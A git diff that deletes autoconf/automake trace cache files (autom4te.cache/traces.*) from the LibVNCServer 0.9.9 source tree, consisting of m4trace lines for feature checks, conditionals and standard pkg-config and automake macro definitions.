-m4trace:configure.ac:1013: -1- _AC_AM_CONFIG_HEADER_HOOK(["$ac_file"])
-m4trace:configure.ac:1013: -1- _AM_OUTPUT_DEPENDENCY_COMMANDS
diff --git a/autom4te.cache/traces.1 b/autom4te.cache/traces.1
deleted file mode 100644
index 11661c8..0000000
--- a/autom4te.cache/traces.1
+++ /dev/null
@@ -1,1572 +0,0 @@
-m4trace:aclocal.m4:1236: -1- m4_include([acinclude.m4])
-m4trace:acinclude.m4:1: -1- AH_OUTPUT([socklen_t], [/* The type for socklen */
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-m4trace:configure.ac:2: -1- AC_INIT([LibVNCServer], [0.9.9], [http://sourceforge.net/projects/libvncserver])
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-m4trace:configure.ac:2: -1- m4_pattern_forbid([_AC_])
-m4trace:configure.ac:2: -1- m4_pattern_forbid([^LIBOBJS$], [do not use LIBOBJS directly, use AC_LIBOBJ (see section `AC_LIBOBJ vs LIBOBJS'])
-m4trace:configure.ac:2: -1- m4_pattern_allow([^AS_FLAGS$])
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-m4trace:configure.ac:2: -1- m4_pattern_allow([^PACKAGE_NAME$])
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-m4trace:configure.ac:907: -1- AC_SUBST([LIB@&t@OBJS], ["$LIB@&t@OBJS memcmp.$ac_objext"])
-m4trace:configure.ac:907: -1- AC_SUBST_TRACE([LIB@&t@OBJS])
-m4trace:configure.ac:907: -1- m4_pattern_allow([^LIB@&t@OBJS$])
-m4trace:configure.ac:907: -1- AC_LIBSOURCE([memcmp.c])
-m4trace:configure.ac:908: -1- AC_DEFINE_TRACE_LITERAL([LSTAT_FOLLOWS_SLASHED_SYMLINK])
-m4trace:configure.ac:908: -1- m4_pattern_allow([^LSTAT_FOLLOWS_SLASHED_SYMLINK$])
-m4trace:configure.ac:908: -1- AH_OUTPUT([LSTAT_FOLLOWS_SLASHED_SYMLINK], [/* Define to 1 if `lstat\' dereferences a symlink specified with a trailing
- slash. */
-@%:@undef LSTAT_FOLLOWS_SLASHED_SYMLINK])
-m4trace:configure.ac:908: -1- AC_SUBST([LIB@&t@OBJS], ["$LIB@&t@OBJS lstat.$ac_objext"])
-m4trace:configure.ac:908: -1- AC_SUBST_TRACE([LIB@&t@OBJS])
-m4trace:configure.ac:908: -1- m4_pattern_allow([^LIB@&t@OBJS$])
-m4trace:configure.ac:908: -1- AC_LIBSOURCE([lstat.c])
-m4trace:configure.ac:908: -1- AC_SUBST([LIB@&t@OBJS], ["$LIB@&t@OBJS stat.$ac_objext"])
-m4trace:configure.ac:908: -1- AC_SUBST_TRACE([LIB@&t@OBJS])
-m4trace:configure.ac:908: -1- m4_pattern_allow([^LIB@&t@OBJS$])
-m4trace:configure.ac:908: -1- AC_LIBSOURCE([stat.c])
-m4trace:configure.ac:908: -1- AC_DEFINE_TRACE_LITERAL([HAVE_STAT_EMPTY_STRING_BUG])
-m4trace:configure.ac:908: -1- m4_pattern_allow([^HAVE_STAT_EMPTY_STRING_BUG$])
-m4trace:configure.ac:908: -1- AH_OUTPUT([HAVE_STAT_EMPTY_STRING_BUG], [/* Define to 1 if `stat\' has the bug that it succeeds when given the
- zero-length file name argument. */
-@%:@undef HAVE_STAT_EMPTY_STRING_BUG])
-m4trace:configure.ac:909: -1- AH_OUTPUT([HAVE_STRFTIME], [/* Define to 1 if you have the `strftime\' function. */
-@%:@undef HAVE_STRFTIME])
-m4trace:configure.ac:909: -1- AC_DEFINE_TRACE_LITERAL([HAVE_STRFTIME])
-m4trace:configure.ac:909: -1- m4_pattern_allow([^HAVE_STRFTIME$])
-m4trace:configure.ac:909: -1- AC_DEFINE_TRACE_LITERAL([HAVE_STRFTIME])
-m4trace:configure.ac:909: -1- m4_pattern_allow([^HAVE_STRFTIME$])
-m4trace:configure.ac:910: -1- AH_OUTPUT([HAVE_VPRINTF], [/* Define to 1 if you have the `vprintf\' function. */
-@%:@undef HAVE_VPRINTF])
-m4trace:configure.ac:910: -1- AC_DEFINE_TRACE_LITERAL([HAVE_VPRINTF])
-m4trace:configure.ac:910: -1- m4_pattern_allow([^HAVE_VPRINTF$])
-m4trace:configure.ac:910: -1- AC_DEFINE_TRACE_LITERAL([HAVE_DOPRNT])
-m4trace:configure.ac:910: -1- m4_pattern_allow([^HAVE_DOPRNT$])
-m4trace:configure.ac:910: -1- AH_OUTPUT([HAVE_DOPRNT], [/* Define to 1 if you don\'t have `vprintf\' but do have `_doprnt.\' */
-@%:@undef HAVE_DOPRNT])
-m4trace:configure.ac:911: -1- AC_DEFINE_TRACE_LITERAL([pid_t])
-m4trace:configure.ac:911: -1- m4_pattern_allow([^pid_t$])
-m4trace:configure.ac:911: -1- AH_OUTPUT([pid_t], [/* Define to `int\' if <sys/types.h> does not define. */
-@%:@undef pid_t])
-m4trace:configure.ac:911: -1- AH_OUTPUT([HAVE_VFORK_H], [/* Define to 1 if you have the <vfork.h> header file. */
-@%:@undef HAVE_VFORK_H])
-m4trace:configure.ac:911: -1- AC_DEFINE_TRACE_LITERAL([HAVE_VFORK_H])
-m4trace:configure.ac:911: -1- m4_pattern_allow([^HAVE_VFORK_H$])
-m4trace:configure.ac:911: -1- AH_OUTPUT([HAVE_FORK], [/* Define to 1 if you have the `fork\' function. */
-@%:@undef HAVE_FORK])
-m4trace:configure.ac:911: -1- AH_OUTPUT([HAVE_VFORK], [/* Define to 1 if you have the `vfork\' function. */
-@%:@undef HAVE_VFORK])
-m4trace:configure.ac:911: -1- AC_DEFINE_TRACE_LITERAL([HAVE_WORKING_VFORK])
-m4trace:configure.ac:911: -1- m4_pattern_allow([^HAVE_WORKING_VFORK$])
-m4trace:configure.ac:911: -1- AH_OUTPUT([HAVE_WORKING_VFORK], [/* Define to 1 if `vfork\' works. */
-@%:@undef HAVE_WORKING_VFORK])
-m4trace:configure.ac:911: -1- AC_DEFINE_TRACE_LITERAL([vfork])
-m4trace:configure.ac:911: -1- m4_pattern_allow([^vfork$])
-m4trace:configure.ac:911: -1- AH_OUTPUT([vfork], [/* Define as `fork\' if `vfork\' does not work. */
-@%:@undef vfork])
-m4trace:configure.ac:911: -1- AC_DEFINE_TRACE_LITERAL([HAVE_WORKING_FORK])
-m4trace:configure.ac:911: -1- m4_pattern_allow([^HAVE_WORKING_FORK$])
-m4trace:configure.ac:911: -1- AH_OUTPUT([HAVE_WORKING_FORK], [/* Define to 1 if `fork\' works. */
-@%:@undef HAVE_WORKING_FORK])
-m4trace:configure.ac:912: -1- AH_OUTPUT([HAVE_LIBNSL], [/* Define to 1 if you have the `nsl\' library (-lnsl). */
-@%:@undef HAVE_LIBNSL])
-m4trace:configure.ac:912: -1- AC_DEFINE_TRACE_LITERAL([HAVE_LIBNSL])
-m4trace:configure.ac:912: -1- m4_pattern_allow([^HAVE_LIBNSL$])
-m4trace:configure.ac:913: -1- AH_OUTPUT([HAVE_LIBSOCKET], [/* Define to 1 if you have the `socket\' library (-lsocket). */
-@%:@undef HAVE_LIBSOCKET])
-m4trace:configure.ac:913: -1- AC_DEFINE_TRACE_LITERAL([HAVE_LIBSOCKET])
-m4trace:configure.ac:913: -1- m4_pattern_allow([^HAVE_LIBSOCKET$])
-m4trace:configure.ac:921: -1- AH_OUTPUT([HAVE_FTIME], [/* Define to 1 if you have the `ftime\' function. */
-@%:@undef HAVE_FTIME])
-m4trace:configure.ac:921: -1- AH_OUTPUT([HAVE_GETHOSTBYNAME], [/* Define to 1 if you have the `gethostbyname\' function. */
-@%:@undef HAVE_GETHOSTBYNAME])
-m4trace:configure.ac:921: -1- AH_OUTPUT([HAVE_GETHOSTNAME], [/* Define to 1 if you have the `gethostname\' function. */
-@%:@undef HAVE_GETHOSTNAME])
-m4trace:configure.ac:921: -1- AH_OUTPUT([HAVE_GETTIMEOFDAY], [/* Define to 1 if you have the `gettimeofday\' function. */
-@%:@undef HAVE_GETTIMEOFDAY])
-m4trace:configure.ac:921: -1- AH_OUTPUT([HAVE_INET_NTOA], [/* Define to 1 if you have the `inet_ntoa\' function. */
-@%:@undef HAVE_INET_NTOA])
-m4trace:configure.ac:921: -1- AH_OUTPUT([HAVE_MEMMOVE], [/* Define to 1 if you have the `memmove\' function. */
-@%:@undef HAVE_MEMMOVE])
-m4trace:configure.ac:921: -1- AH_OUTPUT([HAVE_MEMSET], [/* Define to 1 if you have the `memset\' function. */
-@%:@undef HAVE_MEMSET])
-m4trace:configure.ac:921: -1- AH_OUTPUT([HAVE_MMAP], [/* Define to 1 if you have the `mmap\' function. */
-@%:@undef HAVE_MMAP])
-m4trace:configure.ac:921: -1- AH_OUTPUT([HAVE_MKFIFO], [/* Define to 1 if you have the `mkfifo\' function. */
-@%:@undef HAVE_MKFIFO])
-m4trace:configure.ac:921: -1- AH_OUTPUT([HAVE_SELECT], [/* Define to 1 if you have the `select\' function. */
-@%:@undef HAVE_SELECT])
-m4trace:configure.ac:921: -1- AH_OUTPUT([HAVE_SOCKET], [/* Define to 1 if you have the `socket\' function. */
-@%:@undef HAVE_SOCKET])
-m4trace:configure.ac:921: -1- AH_OUTPUT([HAVE_STRCHR], [/* Define to 1 if you have the `strchr\' function. */
-@%:@undef HAVE_STRCHR])
-m4trace:configure.ac:921: -1- AH_OUTPUT([HAVE_STRCSPN], [/* Define to 1 if you have the `strcspn\' function. */
-@%:@undef HAVE_STRCSPN])
-m4trace:configure.ac:921: -1- AH_OUTPUT([HAVE_STRDUP], [/* Define to 1 if you have the `strdup\' function. */
-@%:@undef HAVE_STRDUP])
-m4trace:configure.ac:921: -1- AH_OUTPUT([HAVE_STRERROR], [/* Define to 1 if you have the `strerror\' function. */
-@%:@undef HAVE_STRERROR])
-m4trace:configure.ac:921: -1- AH_OUTPUT([HAVE_STRSTR], [/* Define to 1 if you have the `strstr\' function. */
-@%:@undef HAVE_STRSTR])
-m4trace:configure.ac:924: -1- AH_OUTPUT([HAVE_SETSID], [/* Define to 1 if you have the `setsid\' function. */
-@%:@undef HAVE_SETSID])
-m4trace:configure.ac:924: -1- AH_OUTPUT([HAVE_SETPGRP], [/* Define to 1 if you have the `setpgrp\' function. */
-@%:@undef HAVE_SETPGRP])
-m4trace:configure.ac:924: -1- AH_OUTPUT([HAVE_GETPWUID], [/* Define to 1 if you have the `getpwuid\' function. */
-@%:@undef HAVE_GETPWUID])
-m4trace:configure.ac:924: -1- AH_OUTPUT([HAVE_GETPWNAM], [/* Define to 1 if you have the `getpwnam\' function. */
-@%:@undef HAVE_GETPWNAM])
-m4trace:configure.ac:924: -1- AH_OUTPUT([HAVE_GETSPNAM], [/* Define to 1 if you have the `getspnam\' function. */
-@%:@undef HAVE_GETSPNAM])
-m4trace:configure.ac:924: -1- AH_OUTPUT([HAVE_GETUID], [/* Define to 1 if you have the `getuid\' function. */
-@%:@undef HAVE_GETUID])
-m4trace:configure.ac:924: -1- AH_OUTPUT([HAVE_GETEUID], [/* Define to 1 if you have the `geteuid\' function. */
-@%:@undef HAVE_GETEUID])
-m4trace:configure.ac:924: -1- AH_OUTPUT([HAVE_SETUID], [/* Define to 1 if you have the `setuid\' function. */
-@%:@undef HAVE_SETUID])
-m4trace:configure.ac:924: -1- AH_OUTPUT([HAVE_SETGID], [/* Define to 1 if you have the `setgid\' function. */
-@%:@undef HAVE_SETGID])
-m4trace:configure.ac:924: -1- AH_OUTPUT([HAVE_SETEUID], [/* Define to 1 if you have the `seteuid\' function. */
-@%:@undef HAVE_SETEUID])
-m4trace:configure.ac:924: -1- AH_OUTPUT([HAVE_SETEGID], [/* Define to 1 if you have the `setegid\' function. */
-@%:@undef HAVE_SETEGID])
-m4trace:configure.ac:924: -1- AH_OUTPUT([HAVE_INITGROUPS], [/* Define to 1 if you have the `initgroups\' function. */
-@%:@undef HAVE_INITGROUPS])
-m4trace:configure.ac:924: -1- AH_OUTPUT([HAVE_WAITPID], [/* Define to 1 if you have the `waitpid\' function. */
-@%:@undef HAVE_WAITPID])
-m4trace:configure.ac:924: -1- AH_OUTPUT([HAVE_SETUTXENT], [/* Define to 1 if you have the `setutxent\' function. */
-@%:@undef HAVE_SETUTXENT])
-m4trace:configure.ac:924: -1- AH_OUTPUT([HAVE_GRANTPT], [/* Define to 1 if you have the `grantpt\' function. */
-@%:@undef HAVE_GRANTPT])
-m4trace:configure.ac:924: -1- AH_OUTPUT([HAVE_SHMAT], [/* Define to 1 if you have the `shmat\' function. */
-@%:@undef HAVE_SHMAT])
-m4trace:configure.ac:928: -1- AH_OUTPUT([HAVE_LIBCYGIPC], [/* Define to 1 if you have the `cygipc\' library (-lcygipc). */
-@%:@undef HAVE_LIBCYGIPC])
-m4trace:configure.ac:928: -1- AC_DEFINE_TRACE_LITERAL([HAVE_LIBCYGIPC])
-m4trace:configure.ac:928: -1- m4_pattern_allow([^HAVE_LIBCYGIPC$])
-m4trace:configure.ac:929: -1- AM_CONDITIONAL([CYGIPC], [test "$HAVE_CYGIPC" = "true"])
-m4trace:configure.ac:929: -1- AC_SUBST([CYGIPC_TRUE])
-m4trace:configure.ac:929: -1- AC_SUBST_TRACE([CYGIPC_TRUE])
-m4trace:configure.ac:929: -1- m4_pattern_allow([^CYGIPC_TRUE$])
-m4trace:configure.ac:929: -1- AC_SUBST([CYGIPC_FALSE])
-m4trace:configure.ac:929: -1- AC_SUBST_TRACE([CYGIPC_FALSE])
-m4trace:configure.ac:929: -1- m4_pattern_allow([^CYGIPC_FALSE$])
-m4trace:configure.ac:929: -1- _AM_SUBST_NOTMAKE([CYGIPC_TRUE])
-m4trace:configure.ac:929: -1- _AM_SUBST_NOTMAKE([CYGIPC_FALSE])
-m4trace:configure.ac:932: -1- AM_CONDITIONAL([LINUX], [test -d /usr/include/linux])
-m4trace:configure.ac:932: -1- AC_SUBST([LINUX_TRUE])
-m4trace:configure.ac:932: -1- AC_SUBST_TRACE([LINUX_TRUE])
-m4trace:configure.ac:932: -1- m4_pattern_allow([^LINUX_TRUE$])
-m4trace:configure.ac:932: -1- AC_SUBST([LINUX_FALSE])
-m4trace:configure.ac:932: -1- AC_SUBST_TRACE([LINUX_FALSE])
-m4trace:configure.ac:932: -1- m4_pattern_allow([^LINUX_FALSE$])
-m4trace:configure.ac:932: -1- _AM_SUBST_NOTMAKE([LINUX_TRUE])
-m4trace:configure.ac:932: -1- _AM_SUBST_NOTMAKE([LINUX_FALSE])
-m4trace:configure.ac:936: -1- AM_CONDITIONAL([OSX], [test "$HAVE_OSX" = "true"])
-m4trace:configure.ac:936: -1- AC_SUBST([OSX_TRUE])
-m4trace:configure.ac:936: -1- AC_SUBST_TRACE([OSX_TRUE])
-m4trace:configure.ac:936: -1- m4_pattern_allow([^OSX_TRUE$])
-m4trace:configure.ac:936: -1- AC_SUBST([OSX_FALSE])
-m4trace:configure.ac:936: -1- AC_SUBST_TRACE([OSX_FALSE])
-m4trace:configure.ac:936: -1- m4_pattern_allow([^OSX_FALSE$])
-m4trace:configure.ac:936: -1- _AM_SUBST_NOTMAKE([OSX_TRUE])
-m4trace:configure.ac:936: -1- _AM_SUBST_NOTMAKE([OSX_FALSE])
-m4trace:configure.ac:940: -1- AM_CONDITIONAL([ANDROID], [test "$HAVE_ANDROID" = "true"])
-m4trace:configure.ac:940: -1- AC_SUBST([ANDROID_TRUE])
-m4trace:configure.ac:940: -1- AC_SUBST_TRACE([ANDROID_TRUE])
-m4trace:configure.ac:940: -1- m4_pattern_allow([^ANDROID_TRUE$])
-m4trace:configure.ac:940: -1- AC_SUBST([ANDROID_FALSE])
-m4trace:configure.ac:940: -1- AC_SUBST_TRACE([ANDROID_FALSE])
-m4trace:configure.ac:940: -1- m4_pattern_allow([^ANDROID_FALSE$])
-m4trace:configure.ac:940: -1- _AM_SUBST_NOTMAKE([ANDROID_TRUE])
-m4trace:configure.ac:940: -1- _AM_SUBST_NOTMAKE([ANDROID_FALSE])
-m4trace:configure.ac:942: -1- AC_DEFINE_TRACE_LITERAL([HAVE_ANDROID])
-m4trace:configure.ac:942: -1- m4_pattern_allow([^HAVE_ANDROID$])
-m4trace:configure.ac:942: -1- AH_OUTPUT([HAVE_ANDROID], [/* Android host system detected */
-@%:@undef HAVE_ANDROID])
-m4trace:configure.ac:946: -1- AH_OUTPUT([ENOENT_WORKAROUND], [/* work around when write() returns ENOENT but does not mean it */
-@%:@undef ENOENT_WORKAROUND])
-m4trace:configure.ac:949: -1- AC_DEFINE_TRACE_LITERAL([ENOENT_WORKAROUND])
-m4trace:configure.ac:949: -1- m4_pattern_allow([^ENOENT_WORKAROUND$])
-m4trace:configure.ac:962: -1- AM_CONDITIONAL([HAVE_RPM], [test "$RPMSOURCEDIR" != "NOT-FOUND"])
-m4trace:configure.ac:962: -1- AC_SUBST([HAVE_RPM_TRUE])
-m4trace:configure.ac:962: -1- AC_SUBST_TRACE([HAVE_RPM_TRUE])
-m4trace:configure.ac:962: -1- m4_pattern_allow([^HAVE_RPM_TRUE$])
-m4trace:configure.ac:962: -1- AC_SUBST([HAVE_RPM_FALSE])
-m4trace:configure.ac:962: -1- AC_SUBST_TRACE([HAVE_RPM_FALSE])
-m4trace:configure.ac:962: -1- m4_pattern_allow([^HAVE_RPM_FALSE$])
-m4trace:configure.ac:962: -1- _AM_SUBST_NOTMAKE([HAVE_RPM_TRUE])
-m4trace:configure.ac:962: -1- _AM_SUBST_NOTMAKE([HAVE_RPM_FALSE])
-m4trace:configure.ac:963: -1- AM_CONDITIONAL([WITH_X11VNC], [test "$build_x11vnc" = "yes"])
-m4trace:configure.ac:963: -1- AC_SUBST([WITH_X11VNC_TRUE])
-m4trace:configure.ac:963: -1- AC_SUBST_TRACE([WITH_X11VNC_TRUE])
-m4trace:configure.ac:963: -1- m4_pattern_allow([^WITH_X11VNC_TRUE$])
-m4trace:configure.ac:963: -1- AC_SUBST([WITH_X11VNC_FALSE])
-m4trace:configure.ac:963: -1- AC_SUBST_TRACE([WITH_X11VNC_FALSE])
-m4trace:configure.ac:963: -1- m4_pattern_allow([^WITH_X11VNC_FALSE$])
-m4trace:configure.ac:963: -1- _AM_SUBST_NOTMAKE([WITH_X11VNC_TRUE])
-m4trace:configure.ac:963: -1- _AM_SUBST_NOTMAKE([WITH_X11VNC_FALSE])
-m4trace:configure.ac:964: -1- AC_SUBST([RPMSOURCEDIR])
-m4trace:configure.ac:964: -1- AC_SUBST_TRACE([RPMSOURCEDIR])
-m4trace:configure.ac:964: -1- m4_pattern_allow([^RPMSOURCEDIR$])
-m4trace:configure.ac:966: -1- AC_CONFIG_FILES([Makefile
- libvncserver.pc
- libvncclient.pc
- libvncserver/Makefile
- examples/Makefile
- examples/android/Makefile
- vncterm/Makefile
- webclients/Makefile
- webclients/java-applet/Makefile
- webclients/java-applet/ssl/Makefile
- libvncclient/Makefile
- client_examples/Makefile
- test/Makefile
- libvncserver-config
- LibVNCServer.spec])
-m4trace:configure.ac:995: -1- AC_CONFIG_FILES([x11vnc/Makefile x11vnc/misc/Makefile x11vnc/misc/turbovnc/Makefile])
-m4trace:configure.ac:1013: -1- AC_SUBST([LIB@&t@OBJS], [$ac_libobjs])
-m4trace:configure.ac:1013: -1- AC_SUBST_TRACE([LIB@&t@OBJS])
-m4trace:configure.ac:1013: -1- m4_pattern_allow([^LIB@&t@OBJS$])
-m4trace:configure.ac:1013: -1- AC_SUBST([LTLIBOBJS], [$ac_ltlibobjs])
-m4trace:configure.ac:1013: -1- AC_SUBST_TRACE([LTLIBOBJS])
-m4trace:configure.ac:1013: -1- m4_pattern_allow([^LTLIBOBJS$])
-m4trace:configure.ac:1013: -1- AM_CONDITIONAL([am__EXEEXT], [test -n "$EXEEXT"])
-m4trace:configure.ac:1013: -1- AC_SUBST([am__EXEEXT_TRUE])
-m4trace:configure.ac:1013: -1- AC_SUBST_TRACE([am__EXEEXT_TRUE])
-m4trace:configure.ac:1013: -1- m4_pattern_allow([^am__EXEEXT_TRUE$])
-m4trace:configure.ac:1013: -1- AC_SUBST([am__EXEEXT_FALSE])
-m4trace:configure.ac:1013: -1- AC_SUBST_TRACE([am__EXEEXT_FALSE])
-m4trace:configure.ac:1013: -1- m4_pattern_allow([^am__EXEEXT_FALSE$])
-m4trace:configure.ac:1013: -1- _AM_SUBST_NOTMAKE([am__EXEEXT_TRUE])
-m4trace:configure.ac:1013: -1- _AM_SUBST_NOTMAKE([am__EXEEXT_FALSE])
-m4trace:configure.ac:1013: -1- AC_SUBST_TRACE([top_builddir])
-m4trace:configure.ac:1013: -1- AC_SUBST_TRACE([top_build_prefix])
-m4trace:configure.ac:1013: -1- AC_SUBST_TRACE([srcdir])
-m4trace:configure.ac:1013: -1- AC_SUBST_TRACE([abs_srcdir])
-m4trace:configure.ac:1013: -1- AC_SUBST_TRACE([top_srcdir])
-m4trace:configure.ac:1013: -1- AC_SUBST_TRACE([abs_top_srcdir])
-m4trace:configure.ac:1013: -1- AC_SUBST_TRACE([builddir])
-m4trace:configure.ac:1013: -1- AC_SUBST_TRACE([abs_builddir])
-m4trace:configure.ac:1013: -1- AC_SUBST_TRACE([abs_top_builddir])
-m4trace:configure.ac:1013: -1- AC_SUBST_TRACE([INSTALL])
-m4trace:configure.ac:1013: -1- AC_SUBST_TRACE([MKDIR_P])
diff --git a/autom4te.cache/traces.2 b/autom4te.cache/traces.2
deleted file mode 100644
index e79d937..0000000
--- a/autom4te.cache/traces.2
+++ /dev/null
@@ -1,10429 +0,0 @@
-m4trace:/usr/share/aclocal/pkg.m4:27: -1- AC_DEFUN([PKG_PROG_PKG_CONFIG], [m4_pattern_forbid([^_?PKG_[A-Z_]+$])
-m4_pattern_allow([^PKG_CONFIG(_(PATH|LIBDIR|SYSROOT_DIR|ALLOW_SYSTEM_(CFLAGS|LIBS)))?$])
-m4_pattern_allow([^PKG_CONFIG_(DISABLE_UNINSTALLED|TOP_BUILD_DIR|DEBUG_SPEW)$])
-AC_ARG_VAR([PKG_CONFIG], [path to pkg-config utility])
-AC_ARG_VAR([PKG_CONFIG_PATH], [directories to add to pkg-config's search path])
-AC_ARG_VAR([PKG_CONFIG_LIBDIR], [path overriding pkg-config's built-in search path])
-
-if test "x$ac_cv_env_PKG_CONFIG_set" != "xset"; then
- AC_PATH_TOOL([PKG_CONFIG], [pkg-config])
-fi
-if test -n "$PKG_CONFIG"; then
- _pkg_min_version=m4_default([$1], [0.9.0])
- AC_MSG_CHECKING([pkg-config is at least version $_pkg_min_version])
- if $PKG_CONFIG --atleast-pkgconfig-version $_pkg_min_version; then
- AC_MSG_RESULT([yes])
- else
- AC_MSG_RESULT([no])
- PKG_CONFIG=""
- fi
-fi[]dnl
-])
-m4trace:/usr/share/aclocal/pkg.m4:60: -1- AC_DEFUN([PKG_CHECK_EXISTS], [AC_REQUIRE([PKG_PROG_PKG_CONFIG])dnl
-if test -n "$PKG_CONFIG" && \
- AC_RUN_LOG([$PKG_CONFIG --exists --print-errors "$1"]); then
- m4_default([$2], [:])
-m4_ifvaln([$3], [else
- $3])dnl
-fi])
-m4trace:/usr/share/aclocal/pkg.m4:86: -1- AC_DEFUN([_PKG_SHORT_ERRORS_SUPPORTED], [AC_REQUIRE([PKG_PROG_PKG_CONFIG])
-if $PKG_CONFIG --atleast-pkgconfig-version 0.20; then
- _pkg_short_errors_supported=yes
-else
- _pkg_short_errors_supported=no
-fi[]dnl
-])
-m4trace:/usr/share/aclocal/pkg.m4:106: -1- AC_DEFUN([PKG_CHECK_MODULES], [AC_REQUIRE([PKG_PROG_PKG_CONFIG])dnl
-AC_ARG_VAR([$1][_CFLAGS], [C compiler flags for $1, overriding pkg-config])dnl
-AC_ARG_VAR([$1][_LIBS], [linker flags for $1, overriding pkg-config])dnl
-
-pkg_failed=no
-AC_MSG_CHECKING([for $1])
-
-_PKG_CONFIG([$1][_CFLAGS], [cflags], [$2])
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-])
-m4trace:/usr/share/aclocal-1.11/options.m4:14: -1- AC_DEFUN([_AM_MANGLE_OPTION], [[_AM_OPTION_]m4_bpatsubst($1, [[^a-zA-Z0-9_]], [_])])
-m4trace:/usr/share/aclocal-1.11/options.m4:20: -1- AC_DEFUN([_AM_SET_OPTION], [m4_define(_AM_MANGLE_OPTION([$1]), 1)])
-m4trace:/usr/share/aclocal-1.11/options.m4:26: -1- AC_DEFUN([_AM_SET_OPTIONS], [m4_foreach_w([_AM_Option], [$1], [_AM_SET_OPTION(_AM_Option)])])
-m4trace:/usr/share/aclocal-1.11/options.m4:32: -1- AC_DEFUN([_AM_IF_OPTION], [m4_ifset(_AM_MANGLE_OPTION([$1]), [$2], [$3])])
-m4trace:/usr/share/aclocal-1.11/runlog.m4:14: -1- AC_DEFUN([AM_RUN_LOG], [{ echo "$as_me:$LINENO: $1" >&AS_MESSAGE_LOG_FD
- ($1) >&AS_MESSAGE_LOG_FD 2>&AS_MESSAGE_LOG_FD
- ac_status=$?
- echo "$as_me:$LINENO: \$? = $ac_status" >&AS_MESSAGE_LOG_FD
- (exit $ac_status); }])
-m4trace:/usr/share/aclocal-1.11/sanity.m4:14: -1- AC_DEFUN([AM_SANITY_CHECK], [AC_MSG_CHECKING([whether build environment is sane])
-# Just in case
-sleep 1
-echo timestamp > conftest.file
-# Reject unsafe characters in $srcdir or the absolute working directory
-# name. Accept space and tab only in the latter.
-am_lf='
-'
-case `pwd` in
- *[[\\\"\#\$\&\'\`$am_lf]]*)
- AC_MSG_ERROR([unsafe absolute working directory name]);;
-esac
-case $srcdir in
- *[[\\\"\#\$\&\'\`$am_lf\ \ ]]*)
- AC_MSG_ERROR([unsafe srcdir value: `$srcdir']);;
-esac
-
-# Do `set' in a subshell so we don't clobber the current shell's
-# arguments. Must try -L first in case configure is actually a
-# symlink; some systems play weird games with the mod time of symlinks
-# (eg FreeBSD returns the mod time of the symlink's containing
-# directory).
-if (
- set X `ls -Lt "$srcdir/configure" conftest.file 2> /dev/null`
- if test "$[*]" = "X"; then
- # -L didn't work.
- set X `ls -t "$srcdir/configure" conftest.file`
- fi
- rm -f conftest.file
- if test "$[*]" != "X $srcdir/configure conftest.file" \
- && test "$[*]" != "X conftest.file $srcdir/configure"; then
-
- # If neither matched, then we have a broken ls. This can happen
- # if, for instance, CONFIG_SHELL is bash and it inherits a
- # broken ls alias from the environment. This has actually
- # happened. Such a system could not be considered "sane".
- AC_MSG_ERROR([ls -t appears to fail. Make sure there is not a broken
-alias in your environment])
- fi
-
- test "$[2]" = conftest.file
- )
-then
- # Ok.
- :
-else
- AC_MSG_ERROR([newly created file is older than distributed files!
-Check your system clock])
-fi
-AC_MSG_RESULT(yes)])
-m4trace:/usr/share/aclocal-1.11/silent.m4:14: -1- AC_DEFUN([AM_SILENT_RULES], [AC_ARG_ENABLE([silent-rules],
-[ --enable-silent-rules less verbose build output (undo: `make V=1')
- --disable-silent-rules verbose build output (undo: `make V=0')])
-case $enable_silent_rules in
-yes) AM_DEFAULT_VERBOSITY=0;;
-no) AM_DEFAULT_VERBOSITY=1;;
-*) AM_DEFAULT_VERBOSITY=m4_if([$1], [yes], [0], [1]);;
-esac
-dnl
-dnl A few `make' implementations (e.g., NonStop OS and NextStep)
-dnl do not support nested variable expansions.
-dnl See automake bug#9928 and bug#10237.
-am_make=${MAKE-make}
-AC_CACHE_CHECK([whether $am_make supports nested variables],
- [am_cv_make_support_nested_variables],
- [if AS_ECHO([['TRUE=$(BAR$(V))
-BAR0=false
-BAR1=true
-V=1
-am__doit:
- @$(TRUE)
-.PHONY: am__doit']]) | $am_make -f - >/dev/null 2>&1; then
- am_cv_make_support_nested_variables=yes
-else
- am_cv_make_support_nested_variables=no
-fi])
-if test $am_cv_make_support_nested_variables = yes; then
- dnl Using `$V' instead of `$(V)' breaks IRIX make.
- AM_V='$(V)'
- AM_DEFAULT_V='$(AM_DEFAULT_VERBOSITY)'
-else
- AM_V=$AM_DEFAULT_VERBOSITY
- AM_DEFAULT_V=$AM_DEFAULT_VERBOSITY
-fi
-AC_SUBST([AM_V])dnl
-AM_SUBST_NOTMAKE([AM_V])dnl
-AC_SUBST([AM_DEFAULT_V])dnl
-AM_SUBST_NOTMAKE([AM_DEFAULT_V])dnl
-AC_SUBST([AM_DEFAULT_VERBOSITY])dnl
-AM_BACKSLASH='\'
-AC_SUBST([AM_BACKSLASH])dnl
-_AM_SUBST_NOTMAKE([AM_BACKSLASH])dnl
-])
-m4trace:/usr/share/aclocal-1.11/strip.m4:19: -1- AC_DEFUN([AM_PROG_INSTALL_STRIP], [AC_REQUIRE([AM_PROG_INSTALL_SH])dnl
-# Installed binaries are usually stripped using `strip' when the user
-# run `make install-strip'. However `strip' might not be the right
-# tool to use in cross-compilation environments, therefore Automake
-# will honor the `STRIP' environment variable to overrule this program.
-dnl Don't test for $cross_compiling = yes, because it might be `maybe'.
-if test "$cross_compiling" != no; then
- AC_CHECK_TOOL([STRIP], [strip], :)
-fi
-INSTALL_STRIP_PROGRAM="\$(install_sh) -c -s"
-AC_SUBST([INSTALL_STRIP_PROGRAM])])
-m4trace:/usr/share/aclocal-1.11/substnot.m4:14: -1- AC_DEFUN([_AM_SUBST_NOTMAKE])
-m4trace:/usr/share/aclocal-1.11/substnot.m4:19: -1- AC_DEFUN([AM_SUBST_NOTMAKE], [_AM_SUBST_NOTMAKE($@)])
-m4trace:/usr/share/aclocal-1.11/tar.m4:24: -1- AC_DEFUN([_AM_PROG_TAR], [# Always define AMTAR for backward compatibility. Yes, it's still used
-# in the wild :-( We should find a proper way to deprecate it ...
-AC_SUBST([AMTAR], ['$${TAR-tar}'])
-m4_if([$1], [v7],
- [am__tar='$${TAR-tar} chof - "$$tardir"' am__untar='$${TAR-tar} xf -'],
- [m4_case([$1], [ustar],, [pax],,
- [m4_fatal([Unknown tar format])])
-AC_MSG_CHECKING([how to create a $1 tar archive])
-# Loop over all known methods to create a tar archive until one works.
-_am_tools='gnutar m4_if([$1], [ustar], [plaintar]) pax cpio none'
-_am_tools=${am_cv_prog_tar_$1-$_am_tools}
